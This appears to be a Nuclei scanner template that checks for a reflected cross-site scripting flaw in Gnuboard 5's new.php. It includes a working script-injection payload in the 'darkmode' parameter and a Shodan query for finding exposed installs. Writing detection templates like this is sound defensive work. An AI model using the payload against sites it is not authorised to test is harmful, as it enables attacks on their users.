id: gnuboard5-xss

info:
  name: Gnuboard 5 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Gnuboard 5 contains a cross-site scripting vulnerability via the clean_xss_tags() function called in new.php.
  reference:
    - https://huntr.dev/bounties/ad2a9b32-fe6c-43e9-9b05-2c77c58dde6a/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
    cpe: cpe:2.3:a:gnuboard:gnuboard5:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"gnuboard5"
    product: gnuboard5
    vendor: gnuboard
  tags: xss,gnuboard,gnuboard5,huntr

http:
  - method: GET
    path:
      - "{{BaseURL}}/bbs/new.php?darkmode=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'header\"><script>alert(document.domain)</script>.css?'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402203cfb7cefd49f02f375a0af537192ad3a111d44d91be0e7e394e99db93ae1c4f902204525fe3b825de061ec132747afe4573858c3e6b7ff11873fa2ce9e0a74234c27:922c64590222798bb761d5b6d8e72950